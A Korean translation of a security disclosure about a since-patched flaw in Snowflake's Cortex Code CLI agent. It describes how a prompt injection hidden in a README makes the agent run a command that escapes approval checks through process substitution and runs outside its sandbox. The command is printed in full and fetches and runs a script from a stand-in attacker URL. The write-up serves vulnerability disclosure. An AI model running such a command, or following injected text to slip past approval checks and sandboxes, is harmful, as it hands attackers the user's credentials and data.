Snowflake AI, 샌드박스 탈출 및 악성코드 실행

Snowflake AI Escapes Sandbox and Executes Malware

요약

Snowflake Cortex Code CLI의 명령 검증 취약점으로 인해 간접 프롬프트 인젝션을 통해 악성 명령이 인간의 승인 없이 샌드박스 외부에서 실행될 수 있었으며, 2월 28일 버전 1.0.25에서 패치되었습니다.

핵심 포인트

  • 프로세스 치환 표현식 내 명령어가 검증 시스템을 우회하여 승인 없이 실행됨
  • 공격자가 README 파일의 프롬프트 인젝션을 통해 악성 스크립트 다운로드 및 실행 유도 가능
  • 취약점으로 데이터 유출, 테이블 삭제 등 Snowflake 리소스에 대한 악의적 접근 가능

왜 중요한가

AI 에이전트 도구를 사용할 때 신뢰할 수 없는 데이터 소스에 대한 검증과 샌드박스 보안의 중요성을 보여줍니다.

📄 전문 번역

Snowflake Cortex AI, 샌드박스를 탈출하다: 악성코드 실행 취약점 분석

개요

Snowflake Cortex Code CLI의 명령어 검증 시스템에서 발견된 취약점이 있었습니다. 이 취약점을 이용하면 간접 프롬프트 인젝션을 통해 악의적인 명령어가 사용자 승인 없이 실행되고, 나아가 샌드박스 밖에서까지 실행될 수 있었거든요. 공격자는 이를 악용해 피해자의 Snowflake 계정 자격증명을 이용해 데이터 탈취나 테이블 삭제 같은 악의적 행동을 할 수 있었습니다.

다행히 Snowflake 보안팀이 신속하게 대응했고, 2026년 2월 28일 Cortex Code CLI 1.0.25 버전으로 수정사항을 배포했습니다. Snowflake 커뮤니티 사이트에서 전체 보안 공지를 확인할 수 있습니다.

공격 과정 분석

1단계: 사용자가 Cortex를 열고 샌드박스를 활성화

사용자가 CLI를 시작할 때 샌드박스 모드 중 하나를 선택합니다. 흥미로운 점은 어느 샌드박스 모드를 사용하든 이 공격이 적용된다는 것입니다.

참고로 이 공격은 샌드박스를 사용하지 않는 경우에도 영향을 미쳤습니다. 문서상으로는 OS+Regular 모드에서 모든 명령어가 사용자 승인을 요청하도록 되어 있으며, 샌드박스 내 명령어는 네트워크와 파일 접근 제한이 있어야 합니다.

2단계: 사용자가 제3자 오픈소스 코드베이스 분석을 요청

여기서 프롬프트 인젝션이 등장합니다. 온라인에서 찾은 신뢰할 수 없는 저장소의 README 파일에 악의적인 프롬프트가 숨어있을 수 있거든요. 실제로는 웹 검색 결과, 데이터베이스 기록, 터미널 명령어 출력, MCP 응답 등 어떤 신뢰할 수 없는 데이터에서도 인젝션이 삽입될 수 있습니다.

한 가지 주목할 점은 Cortex가 코드 에디터에서 처음 도입되고 이제 대부분의 에이전트 CLI가 채택한 '워크스페이스 신뢰(workspace trust)' 보안 관례를 지원하지 않았다는 것입니다. 이 기능은 사용자에게 새롭고 신뢰할 수 없을 수 있는 디렉토리에서 에이전트를 사용할 위험성을 경고해줍니다.

3단계: Cortex가 저장소를 탐색하면서 프롬프트 인젝션 만남

Cortex가 호출한 서브에이전트가 저장소를 탐색하다가 README 파일을 발견합니다. 그리고 파일 끝부분에 숨겨진 프롬프트 인젝션이 있어서 Cortex를 속일 수 있었던 거죠.

4단계: 사용자 승인 단계가 우회됨

여기가 핵심입니다. Cortex는 프로세스 치환(process substitution) 표현식 내의 명령어를 검증하지 못했습니다. 그 결과 다음 악의적 명령어가 사용자 승인 없이 실행될 수 있었습니다:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

이 명령어는 공격자 서버에서 스크립트를 다운로드해서 실행합니다. 어떻게 우회가 가능했을까요?

명령어 검증 시스템의 작동 원리:

Cortex의 명령어 검증 시스템은 모델이 요청한 전체 명령어를 개별 명령어(cat, echo, sh, wget 등)로 분해합니다. 이 개별 명령어들을 Cortex에 내장된 '안전한 명령어' 목록과 비교하는 방식이었습니다. 모든 구성 요소가 '안전'하면 승인 없이 실행되고, 그렇지 않으면 사용자에게 동의를 구합니다.

취약점의 원인:

프로세스 치환 표현식 내의 명령어는 이 검증 시스템으로 평가되지 않았습니다. 따라서 사용자 승인을 트리거하지 않았거든요. 여기에 검증 시스템에서 '안전'하다고 판단되는 명령어(cat 같은)가 맨 앞에 오면, 결과적으로 임의의 명령어가 사용자 승인 없이 실행될 수 있었던 겁니다.

5단계: 샌드박스까지 우회됨

Cortex는 기본적으로 샌드박스 외부에서의 명령어 실행을 허용하는 플래그를 설정할 수 있습니다. 프롬프트 인젝션이 모델을 조종해서 이 플래그를 설정하게 만들 수 있었거든요. 아래 로그에서 이 플래그를 확인할 수 있습니다:

이 플래그는 원래 네트워크 접근이 필요하거나 샌드박스 외부 파일 접근이 필요한 정당한 명령어를 사용자가 수동으로 승인할 수 있도록 설계되었습니다.

4단계의 사용자 승인 우회가 발생하면, 에이전트가 샌드박스 외부 실행 플래그를 설정해도 명령어가 즉시 샌드박스 외부에서 실행되고, 사용자는 동의를 구받지 않습니다.

참고로 사용자가 명시적으로 이 기능을 비활성화할 수 있는 설정이 있었는데, 이를 통해 우회를 방지할 수 있었습니다.

6단계: 악성코드가 다운로드되어 샌드박스 외부에서 실행됨

Cortex의 서브에이전트가 악의적 명령어를 호출하고 샌드박스 외부 실행 플래그를 설정합니다. 그러면 명령어가 공격자 서버에서 셸 스크립트를 다운로드해서 실행하게 되는 것이죠. 이 시점에서 공격자가 피해자의 Snowflake 자격증명을 사용해 원하는 악의적 행동을 모두 할 수 있게 됩니다.